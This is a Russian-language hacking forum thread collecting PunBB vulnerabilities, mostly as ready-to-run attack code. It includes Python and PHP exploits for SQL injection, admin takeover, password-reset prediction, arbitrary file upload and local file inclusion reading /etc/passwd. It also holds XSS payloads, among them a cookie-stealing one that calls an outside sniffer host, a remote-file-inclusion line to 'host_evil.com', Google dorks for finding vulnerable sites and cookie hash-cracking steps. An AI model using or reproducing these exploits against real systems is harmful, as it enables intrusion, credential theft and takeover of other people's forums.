Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
[Обзор уязвимостей PunBB] |

20.01.2008, 04:28
|
|
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме: 17234747
Репутация:
5170
|
|
[Обзор уязвимостей PunBB]
PunBB <= 1.2.14 Remote Code Execution Exploit
PunBB version <= 1.2.2 Authentication Bypass Exploit
ShAnKaR: multiple PHP application poison NULL byte vulnerability
PunBB 1.2.4 (change_email) SQL Injection Exploit
1.2.11
PHP код:
index.php&req_subject=test&req_message=test"><script>alert(1);</script>
<= 1.2.16(moderate.php)
PHP код:
preg_match('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/', $_GET['get_host']))
moderate.php?get_host=1.1.1.1<script>alert(1)</script>
<= 1.2.16
PHP код:
moderate.php?get_host=1.1.1.1<script>alert(1)</script>
<= 1.2.15 (message_popup.php) XSS code vulnerability
PHP код:
<?php echo $lang_pms['Popup new'], $return['sender'], $lang_pms['Popup subj'], $return['subject'] ?><br><?php echo $lang_pms['Popup send'], format_time($return['posted']) ?>
<= 1.2.13 SQL Injection
PHP код:
search.php?action=search&keywords=hello&author=&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=1&result_list[< UNION SQL QUERY >/*]&1763905137=1&1121320991=1
dork: warning: ini_get has been
Remote File Inclusion in forum PunBB 1.1.2 >> 1.1.5
PHP код:
include/common.php?pun_root=http://www.host_evil.com/cmd?&=id
PunBB <= 1.2.4 - change email to become admin exploit
Код:
#!/usr/bin/python
################################################## #####################
# _ _ _ _ ___ _ _ ___
# | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/
# |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|
#
################################################## #####################
# Proof of concept code from the Hardened-PHP Project
################################################## #####################
#
# -= PunBB 1.2.4 =-
# change_email SQL injection exploit
#
# user-supplied data within the database is still user-supplied data
#
################################################## #####################
import urllib
import getopt
import sys
import string
__argv__ = sys.argv
def banner():
print "PunBB 1.2.4 - change_email SQL injection exploit"
print "Copyright (C) 2005 Hardened-PHP Project\n"
def usage():
banner()
print "Usage:\n"
print " $ ./punbb_change_email.py [options]\n"
print " -h http_url url of the punBB forum to exploit"
print " f.e. http://www.forum.net/punBB/"
print " -u username punBB forum useraccount"
print " -p password punBB forum userpassword"
print " -e email email address where the admin leve activation email is sent"
print " -d domain catch all domain to catch \"some-SQL-Query\"@domain emails"
print ""
sys.exit(-1)
def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")
except getopt.GetoptError:
usage()
if len(__argv__) < 10:
usage()
username = None
password = None
email = None
domain = None
host = None
for o, arg in opts:
if o == "-h":
host = arg
if o == "-u":
username = arg
if o == "-p":
password = arg
if o == "-e":
email = arg
if o == "-d":
domain = arg
# Printout banner
banner()
# Check if everything we need is there
if host == None:
print "[-] need a host to connect to"
sys.exit(-1)
if username == None:
print "[-] username needed to continue"
sys.exit(-1)
if password == None:
print "[-] password needed to continue"
sys.exit(-1)
if email == None:
print "[-] email address needed to continue"
sys.exit(-1)
if domain == None:
print "[-] catch all domain needed to continue"
sys.exit(-1)
# Retrive cookie
params = {
'req_username' : username,
'req_password' : password,
'form_sent' : 1
}
wclient = urllib.URLopener()
print "[+] Connecting to retrieve cookie"
req = wclient.open(host + "/login.php?action=in", urllib.urlencode(params))
info = req.info()
if 'set-cookie' not in info:
print "[-] Unable to retrieve cookie... something is wrong"
sys.exit(-3)
cookie = info['set-cookie']
cookie = cookie[:string.find(cookie, ';')]
print "[+] Cookie found - extracting user_id"
user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]
print "[+] User-ID: %d" % (int(user_id))
wclient.addheader('Cookie', cookie);
email = '"' + email[:string.find(email, '@')] + '"@' + email[string.find(email, '@')+1:] + ',"\','
append = 'group_id=\'1'
email = email + ( ((50-len(append))-len(email)) * ' ' ) + append + '"@' + domain
params = {
'req_new_email' : email,
'form_sent' : 1
}
print "[+] Connecting to request change email"
req = wclient.open(host + "profile.php?action=change_email&id=" + user_id,
urllib.urlencode(params))
print "[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin"
if __name__ == "__main__":
main()
PunBB BBCode URL Tag Script Injection Vulnerability
PHP код:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th is.sss));'sss=`i=new/**/Image();i.src='http://baba/sniffer.php?c='+document.cookie;this.sss=null`styl e='font-size:0;][/url][/url]'[/color]
-punbb_users
--id
--group_id
--username
--password
Dork example:
intext:"Powered by PunBB 1.2.5"
intext:"Powered by PunBB" -"1.2.6" -"1.2.7"
intext:"Powered by PunBB 1.1.0...7" OR "Powered by PunBB 1.2.0...7"
intext:"Powered by PunBB" -"1.2.6" -"1.2.7" inurl:index.php -blog -inurl:"page=info" -inurl:"page=all" -inurl:"showtopic"
intext:"Powered by PunBB" -"1.2.6" -"1.2.7" inurl:index.php -blog
Последний раз редактировалось ettee; 20.01.2008 в 04:40..
|
|
|

20.01.2008, 04:45
|
|
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме: 17234747
Репутация:
5170
|
|
Криптографическая атака
Алгоритм шифрования в куках:
PHP код:
md5($cookie_seed.md5(password))
Пример:
md5($cookie_seed.md5("123"))="beae53ed5f767f344b03 646a1aa5b16e"
В состав строгого значения входят символы из ряда "abcdef1234567890".
Схема генерации куков:
PHP код:
md5($cookie_seed.$pun_user['password'])
$pun_user['password'] - sha1() или md5() хеш пароль пользователя.
$cookie_seed - соль ("идентична" для всех пользователей).
Дефолтное значение алгоритма для $cookie_seed(config.php):
PHP код:
function pun_hash($str)
{
if (function_exists('sha1')) // Only in PHP 4.3.0+
return sha1($str);
else if (function_exists('mhash')) // Only if Mhash library is loaded
return bin2hex(mhash(MHASH_SHA1, $str));
else return md5($str);
}
PasswordPro не обладает алгоритмом перебора md5(salt.md5(pass)) поэтому будем использовать метод "перебор по маске":
"Набор символов" для пользовательской маски: ?1: abcdef1234567890
Маска: ?1?1?1?1?1?1?1?1202cb962ac59075b964b07152d234b70
Значение длины: 40-40
===
UPDATE: PasswordPro теперь имеет соответствующий модуль
Последний раз редактировалось Elekt; 03.09.2008 в 04:11..
|
|
|
PunBB <= 1.2.16 Blind Password Recovery Exploit |

21.02.2008, 09:33
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
PunBB <= 1.2.16 Blind Password Recovery Exploit
PunBB <= 1.2.16 Blind Password Recovery Exploit
http://www.milw0rm.com/exploits/5165
Код:
<?php
/**
* Original : http://sektioneins.de/advisories/SE-2008-01.txt
* Thanks to Stefan Esser, here's the exploit.
*
* Team : EpiBite
* firefox, petit-poney, thot
* Nous tenons a remercier nos mamans et papas respectifs.
* Let's get a fu*** coffee !
*/
// conf
define('URL', 'http://localhost/punbb_1-2-16_fr/upload'); // base url
define('EMAIL', 'login_x@epitech.net'); // your email
define('LOGIN', 'login_x'); // your login
define('PASS', '620553.8I73'); // your pass
// Exploit
printf("--\nUrl : %s\nEmail : %s\n--\n", URL, EMAIL);
$h = curl_init();
curl_setopt($h, CURLOPT_URL,
URL.'/userlist.php?username=&show_group=-1&sort_by=registered&sort_dir=ASC&search=Envoyer');
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
$s = curl_exec($h);
preg_match('/profile\.php\?id=([0-9]*)">([^<]*)</', $s, $m);
define('ADMIN', $m[2]);
preg_match('/<td class="tcr">([0-9]{4})-([0-9]{2})-([0-9]{2})<\/td/', $s, $m);
if (count($m))
define('DATE', mktime(0, 0, 0, $m[2], $m[3], $m[1]));
else
define('DATE', time() - 86400); //just in case, the forum or account
just has been created
printf("Admin : %s\nDate : %s\n--\n", ADMIN, DATE);
$h = curl_init();
curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2');
// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($h, CURLOPT_HEADER, 1);
curl_setopt($h, CURLOPT_POST, 1);
curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
'req_email='.urlencode(EMAIL),
'request_pass=Envoyer')));
preg_match('/mailto:([^"]*)"/', curl_exec($h), $m);
define('ADMIN_MAIL', $m[1]); // Admin email (normally automatically
get, set manually if there's problem)
printf("Admin mail : %s\n--\n", ADMIN_MAIL);
$h = curl_init();
curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2');
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
curl_setopt($h, CURLOPT_COOKIE,
'punbb_cookie='.rawurlencode(serialize(array(0 => 2, 1 =>
md5('bite')))));
curl_setopt($h, CURLOPT_HEADER, 1);
curl_setopt($h, CURLOPT_POST, 1);
curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
'req_email='.urlencode(ADMIN_MAIL),
'request_pass=Envoyer')));
$s = curl_exec($h);
preg_match('/Set-Cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('MD5_NOT_LOGGUED', $c[1]);
printf("Md5 not loggued : %s\n--\n", MD5_NOT_LOGGUED);
$h = curl_init();
curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=in');
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($h, CURLOPT_HEADER, 1);
// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
curl_setopt($h, CURLOPT_POST, 1);
curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
'redirect_url=index.php',
'req_username='.LOGIN,
'req_password='.PASS)));
$s = curl_exec($h);
preg_match('/Set-Cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('MD5_LOGGUED', $c[1]);
printf("Md5 loggued : %s\n--\n", MD5_LOGGUED);
define('PASS_MD5ED', sha1(PASS));
$chars = array('/', '-', "\\", '|');
for ($p = 0; $p < 86400 * 2; $p++)
{
if (!($p % 300))
echo $chars[($p / 300) % 4]."\r";
if (strcmp(MD5_LOGGUED, md5(substr(md5((int)(DATE + $p)),
-8).PASS_MD5ED)) == 0)
{
define('SEED', substr(md5(DATE + $p), -8));
break;
}
}
printf("Seed : %s\n--\n", SEED);
for ($p = 0; $p < 1000000; $p++)
{
if (!($p % 300))
echo $chars[($p / 300) % 4]."\r";
mt_srand((double)$p);
if (strcmp(md5(SEED.random_pass(8)), MD5_NOT_LOGGUED) == 0)
{
define('SRAND', $p);
break;
}
}
printf("SRAND : %s\n--\n", SRAND);
mt_srand(SRAND);
random_pass(8);
printf("New password : %s\n--\n", random_pass(8));
$url = URL.'/profile.php?id=2&action=change_pass&key='.random_pass(8);//
Id is set to '2' (the admin's id, but you can change your target)
$h = curl_init();
curl_setopt($h, CURLOPT_URL, $url);
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
curl_exec($h);
function random_pass($len)
{
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$password = '';
for ($i = 0; $i < $len; ++$i)
$password .= substr($chars, (mt_rand() % strlen($chars)), 1);
return $password;
}
# milw0rm.com [2008-02-21]
Последний раз редактировалось Elekt; 03.09.2008 в 04:10..
|
|
|
PunBB module Automatic Image Upload with Thumbnails <= 1.3.4 arbitary file upload |

17.06.2008, 18:09
|
|
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме: 1652093
Репутация:
490
|
|
PunBB module Automatic Image Upload with Thumbnails <= 1.3.4 arbitary file upload
PHP код:
<?php
# PunBB module Automatic Image Upload with Thumbnails <= 1.3.4 arbitary file upload
# h3ck.[rv.ua], 2008
$host = 'localhost'; # хост
$path = '/punbb/'; # путь к форуму
$file_type = 'image/gif';
$file_name = 'sh1.gif.php'; # название нового файла
$file_code = '<?php phpinfo(); ?>'; # код, который будем выполнять
$cookie = 'punbb_cookie=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A32%3A%220b9ca83006024ac122e2b1c459c0804f%22%3B%7D'; # без авторизации не будет работать..
$file_content = base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==');
$post_data = <<<POST
------------9cYrkcaQ3YTUyzCSnL8xD2
Content-Disposition: form-data; name="form_sent"
1
------------9cYrkcaQ3YTUyzCSnL8xD2
Content-Disposition: form-data; name="imagefile"; filename="$file_name"
Content-Type: $file_type
${file_content}${file_code}
------------9cYrkcaQ3YTUyzCSnL8xD2
Content-Disposition: form-data; name="uploadimg"
Submit
------------9cYrkcaQ3YTUyzCSnL8xD2--
POST;
$post_len = strlen($post_data);
$req = <<<REQ
POST http://${host}${path}uploadimg.php?subpage=upload HTTP/1.0
User-Agent: Opera/9.27 (Windows NT 5.1; U; ru)
Host: $host
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: uk-UA,uk;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Cookie: $cookie
Content-Length: $post_len
Content-Type: multipart/form-data; boundary=----------9cYrkcaQ3YTUyzCSnL8xD2
Connection: Close
$post_data
REQ;
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) { echo "$errstr ($errno)<br />\n"; }
else {
echo "Sending... <pre>$req</pre>\n";
fwrite($fp, $req);
while (!feof($fp)) { echo fgets($fp); }
fclose($fp);
}
?>
Последний раз редактировалось Elekt; 03.09.2008 в 04:08..
|
|
|
PunBB Migration Tool 1.4.0 |

18.07.2008, 12:48
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
PunBB Migration Tool 1.4.0
PunBB Migration Tool 1.4.0
Download URL:
Код:
http://punbb.er.cz/czmirror/PunBB_Migration_Tool-1.4.0.tar
Bug Type:Local File Inclusion
Bug In:
Код:
converters/index.php
Vulnerable Code:
Код:
<?php // Load a specific page else{ if(file_exists($_GET['page'] . '.php')) include $_GET['page'] . '.php'; else include 'settings.php'; ?>
Proof Of Concept:http://www.website.com/[path]/converters/index.php?page=/etc/passwd%00
|
|
|
PunBB 1.2.17 Sql injection & File reader |

23.07.2008, 19:42
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
PunBB 1.2.17 Sql injection & File reader
Код:
v1.2.17 punbb.ru rev87
/message_popup.php
message_popup.php?id=0+UNION+SELECT+user_id,concat_ws(0x3a,table_name),2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+номер таблицы,1
узнаем префикс по таблицам.
-----------------------------------SQL<
/message_popup.php?id=0+union+select+user_id,username,3,password+from+[PREFIX]users+where+id=2
Узнаем имя и хеш админа.
-----------------------------------SQL<
download.php
/download.php?aid=9+union+select+1,file,3,user_id,null,1
просматриваем файлы на хосте
-----------------------------------SQL<
user_id - Ваш id на форуме через который вы зашли
By @Fatal@ aka Doom123
PHP код:
<?php
/**
* @author @Fatal@
* @copyright HWT©2008
*
* PunBB expl0it
*
* Уязвимость существует по причине недостатачной обработки
* входящх данных в файле download.php!
*
* Овтор не несёт ответствености за использоваение данного скрипта!
* Используйте его на свой страх и риск!
*
* Уязвимость нашёл @Fatal@.
*/
if (isset($_POST['start']))
{
if (!empty($_POST['login']) && !empty($_POST['pass']) && !empty($_POST['host']) && !empty($_POST['id']) && !empty($_POST['path']))
{
define("_HOST", $_POST['host']);
define("_PORT", 80);
function cookie($ans)
{
$head = 'Cookie:';
foreach ($ans as $val)
{
if (preg_match('#Set-Cookie:(.+)#is', $val, $pock))
{
$co = explode(';', $pock['1']);
$head .= ' ' . trim($co[0]) . ';';
}
}
return $head . " \r\n";
}
function Prepare_POST_array($arr)
{
$out = '';
foreach ($arr as $key => $line)
{
if ($out == '')
$out .= $key . '=' . urlencode($line);
else
$out .= '&' . $key . '=' . urlencode($line);
}
return $out . "\r\n\r\n";
}
function post_query($path, $param, $cook = '', $AnswerFlag = true)
{
$out = "POST " . $path . " HTTP/1.1\r\n";
if ($param == array())
{
$out = "GET " . $path . " HTTP/1.1\r\n";
$data = "";
} else
$data = Prepare_POST_array($param);
$fp = fsockopen(_HOST, _PORT, $errno, $errstr, 30);
if (!$fp) return false;
$out .= "Host: " . _HOST . "\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
$out .= "Content-Length: " . strlen($data) . "\r\n";
$out .= "User-Agent: Opera/9.27 (Windows NT 5.1; U; ru)\r\n";
$out .= $cook;
$out .= "Connection: Close\r\n\r\n";
$out .= $data;
fwrite($fp, $out);
if ($AnswerFlag)
{
while (!feof($fp))
{
$answer[] = fgets($fp, 1024);
}
} else
$answer = true;
fclose($fp);
return $answer;
}
$array = array(
'form_sent' => '1',
'redirect_url' => 'index.php',
'req_username' => $_POST['login'],
'req_password' => $_POST['pass'],
);
$ans = post_query($_POST['path'].'login.php?action=in', $array);
$a = cookie($ans);
if($_POST['method'] != 2)
{
if (!empty($_POST['nid']))
{
if(empty($a))
$error = 'Не верно введены логин или пароль';
else {
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+users+WHERE+id+like+'.$_POST['nid'];
$ans2 = post_query($page, array(), $a);
$str = implode('',$ans2);
if(strrpos($str, "doesn't exist (Errno: 1146)") !== false)
{
preg_match("# Table '(.+?)\.users' doesn't exist \(Errno: 1146\)#is",$str,$pock);
$hex = '0x'.bin2hex($pock[1]);
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,table_name,3,'.$_POST['id'].',null,6+FROM+information_schema.columns+WHERE+table_schema+like+'.$hex;
$ans3 = post_query($page, array(), $a);
$str = implode('',$ans3);
preg_match('#PunBB reported</strong>: (.+?)attachments - this file does not exist#is',$str,$pock);
$pref = isset($pock[1]) ? $pock[1] : $_POST['prefix'];
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+'.$pref.'users+WHERE+id+like+'.$_POST['nid'];
$ans2 = post_query($page, array(), $a);
$str = implode('',$ans2);
}
preg_match('#PunBB reported</strong>: (.{0,40}) - this file does not exist#is',$str,$pock);
echo "<center><b><h1>Хеш пользователя:".$pock[1]."</h1></b></center>";
}
} else
$error = "Введите все данные";
} else {
if (!empty($_POST['file']))
{
if(empty($a))
$error = 'Не верно введены логин или пароль';
else {
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,"'.$_POST['file'].'",3,'.$_POST['id'].',null,6';
$ans2 = post_query($page, array(), $a);
$i = 11;
while(array_key_exists($i,$ans2))
{
echo htmlspecialchars($ans2[$i]).'<br>';
$i++;
}
}
} else
$error = "ВВедите все данные";
}
} else
$error = "ВВедите все данные";
}
if(isset($error) || !isset($_POST['start']))
{
echo '<center>'.$error."<BR><BR><b>PunBB Expl0it</b><br><br>";
echo '<form method="post">';
echo 'Хост: <input type="text" name="host"><br>';
echo 'Путь: <input type="text" name="path"><br>';
echo 'Префикс: <input type="text" name="prefix"><br>';
echo 'Логин: <input type="text" name="login"><br>';
echo 'Пароль: <input type="text" name="pass"><br>';
echo 'В.id: <input type="text" name="id"><br>';
echo 'Н.id: <input type="text" name="nid"><br>';
echo 'Файл: <input type="text" name="file"><br>';
echo 'Метод: <select name=method><option value=1>Извлечь хэш</option>';
echo '<option value=2>Просмотреть файл</option></select><br>';
echo '<input type="submit" name="start"></form>';
echo '<br><br>В.id - id вашего пользоваетля';
echo '<br>Н.id - id жертвы(Нжно заполнять при первом методе)';
echo '<br>Файл - Путь до файла (При втором методе)';
echo '<br>Путь - Папка форума например /path/ (Если форум не находатся в папке вводим /)';
echo '<br>Префикс - Обычно определяется сам но если не хватает доступа подставляется ваш';
echo '<br><BR><BR>C0ded by @Fatal@ For HW Team</center>';
}
?>
Последний раз редактировалось Doom123; 30.07.2008 в 12:36..
|
|
|

28.07.2008, 01:31
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
XSS PunBB 1.3RC
XSS в самой последней версии 1.3RC
Код:
http://punbb/1.3/style/Oxygen/Oxygen.php?base_url=Oxygen.css" onload=alert()> <!---&forum_user[style]=1
__________________
Кто я?..
Последний раз редактировалось Elekt; 03.09.2008 в 04:08..
|
|
|
Multy vuln PunBB <= 1.2.19 |

30.07.2008, 09:24
|
|
Новичок
Регистрация: 08.02.2008
Сообщений: 2
Провел на форуме: 9294
Репутация:
-12
|
|
Multy vuln PunBB <= 1.2.19
PunBB версии до 1.2.19
Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и обойти некоторые ограничения безопасности.
1. Уязвимость существует из-за недостаточной обработки входных данных в сценарии include/parser.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
2. Уязвимость существует из-за неизвестной ошибки, которая позволяет удаленному пользователю внедрить произвольные SMTP команды.
Последний раз редактировалось Elekt; 03.09.2008 в 04:07..
|
|
|

12.08.2008, 01:22
|
|
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме: 2634544
Репутация:
1559
|
|
видео
Последний раз редактировалось Elekt; 03.09.2008 в 04:07..
|
|
|
PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit |

19.11.2008, 21:06
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit
http://www.milw0rm.com/exploits/7159
PHP код:
<?php
error_reporting(0);
ini_set("default_socket_timeout",5);
/*
PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit
-----------------------------------------------------------
by athos - staker[at]hotmail[dot]it
download mod http://www.punres.org/files.php?pid=52
download cms http://punbb.org
-----------------------------------------------------------
register_globals = 1
magic_quotes_gpc = 1
Directory (files/include/pms)
functions_navlinks.php?pun_user[language]=../../../../../etc/passwd
profile_send.php?pun_user[language]=../../../../../etc/passwd
viewtopic_PM-link.php?pun_user[language]=../../../../../etc/passwd
../../etc/passwd and nullbyte
File (files/include/pms/functions_navlinks.php)
1. <?php
2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
$pun_user['language'] isn't declared :D you can include any file
functions_navlinks.php?pun_user[language]=../../../etc/passwd%00
-------------------------------------------------------------------
File (files/include/pms/header_new_messages.php)
1. <?php
2. if(!$pun_user['is_guest'] && $pun_user['g_pm'] == 1 && $pun_config['o_pms_enabled'] ){
3. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
$pun_user['g_pm'] isn't declared
$pun_config['o_pms_enabled'] isn't declared
header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=../etc/passd%00
-------------------------------------------------------------------
File (files/include/pms/profile_send.php))
1. <?php
2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
$pun_user['language'] isn't declared
profile_send.php?pun_user[language]=../../../../etc/passwd%00
-------------------------------------------------------------------
File (files/include/pms/viewtopic_PM-link.php)
1. <?php
2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
$pun_user['language'] isn't declared
viewtopic_PM-link.php?pun_user[language]=../../../../etc/passwd%00
-------------------------------------------------------------------
Usage: php [punbb.php] [host/path] [mode]
php [punbb.php] [host/path] [save]
php [punbb.php] [host/path] [NULL]
Example:
php punbb.php localhost/punbb save
php punbb.php localhost/punbb
NOTE: Don't add me on MSN Messenger
*/
$exploit = new Exploit;
$domain = $argv[1];
$mymode = $argv[2];
$exploit->starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain,$mymode);
class Exploit
{
function http_request($host,$data)
{
if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP))
{
echo "socket_create() error!\r\n";
exit;
}
if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))
{
echo "socket_set_option() error!\r\n";
exit;
}
if(!socket_connect($socket,$host,80))
{
echo "socket_connect() error!\r\n";
exit;
}
if(!socket_write($socket,$data,strlen($data)))
{
echo "socket_write() errror!\r\n";
exit;
}
while($get = socket_read($socket,1024,PHP_NORMAL_READ))
{
$content .= $get;
}
socket_close($socket);
$array = array(
'HTTP/1.1 404 Not Found',
'HTTP/1.1 300 Multiple Choices',
'HTTP/1.1 301 Moved Permanently',
'HTTP/1.1 302 Found',
'HTTP/1.1 304 Not Modified',
'HTTP/1.1 400 Bad Request',
'HTTP/1.1 401 Unauthorized',
'HTTP/1.1 402 Payment Required',
'HTTP/1.1 403 Forbidden',
'HTTP/1.1 405 Method Not Allowed',
'HTTP/1.1 406 Not Acceptable',
'HTTP/1.1 407 Proxy Authentication Required',
'HTTP/1.1 408 Request Timeout',
'HTTP/1.1 409 Conflict',
'HTTP/1.1 410 Gone',
'HTTP/1.1 411 Length Required',
'HTTP/1.1 412 Precondition Failed',
'HTTP/1.1 413 Request Entity Too Large',
'HTTP/1.1 414 Request-URI Too Long',
'HTTP/1.1 415 Unsupported Media Type',
'HTTP/1.1 416 Request Range Not Satisfiable',
'HTTP/1.1 417 Expectation Failed',
'HTTP/1.1 Retry With',
);
for($i=0;$i<=count($array);$i++)
if(eregi($array[$i],$content))
{
return ("$array[$i]\r\n");
break;
}
else
{
return ("$content\r\n");
break;
}
}
function is_vulnerable($host)
{
$host = explode('/',$host);
$header .= "GET /$host[1]/profile_send.php?pun_user[language]=%27 HTTP/1.1\r\n";
$header .= "Host: $host[0]\r\n";
$header .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
$header .= "Accept-Encoding: gzip,deflate\r\n";
$header .= "Connection: close\r\n\r\n";
if(stristr($this->http_request($host[0],$header),"\\'"))
{
echo "[+] Magic Quotes GPC/Register Globals On!\n";
echo "[+] Exploit Failed!\n";
exit;
}
else
{
return false;
}
}
function starting()
{
global $argv;
if(preg_match('/http://(.+?)$/',$argv[1]) or empty($argv[1]))
{
echo "[+] PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit\r\n";
echo "[+] by athos - staker[at]hotmail[dot]it\r\n";
echo " -----------------------------------------------------------\r\n";
echo "[+] Usage: php $argv[0] [host/path] [mode]\r\n";
echo "[+] Usage: php $argv[0] [host/path] [save]\r\n";
echo "[+] Usage: php $argv[0] [host/path] \r\n";
exit;
}
}
function exploiting($host,$mode)
{
$host = explode('/',$host);
$i = 0;
echo "[+] Local File (ex: ../../etc/passwd%00)\r\n";
echo "[+] Local File: ";
$file = stripslashes(trim(fgets(STDIN)));
if(empty($file)) die("you fail");
$array = array (
"functions_navlinks.php?pun_user[language]=$file",
"profile_send.php?pun_user[language]=$file",
"viewtopic_PM-link.php?pun_user[language]=$file",
"header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=$file",
);
$write .= "GET /$host[1]/files/include/pms/$array[$i] HTTP/1.1\r\n";
$write .= "Host: $host[0]\r\n";
$write .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$write .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$write .= "Accept-Language: en-us,en;q=0.5\r\n";
$write .= "Accept-Encoding: gzip,deflate\r\n";
$write .= "Connection: close\r\n\r\n";
if(stristr($this->http_request($host[0],$write),'No such file or directory in'))
{
$i++;
}
else
{
if($mode == "save")
{
$rand = rand(0,99999);
fclose(fwrite(fopen(getcwd().'/'.$rand.'.txt',"a+"),$this->http_request($host[0],$write)));
echo "[+] File $rand Saved Successfully!\r\n";
echo "[+] Exploit Terminated!\r\n";
exit;
}
else
{
echo $this->http_request($host[0],$write);
exit;
}
}
}
}
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|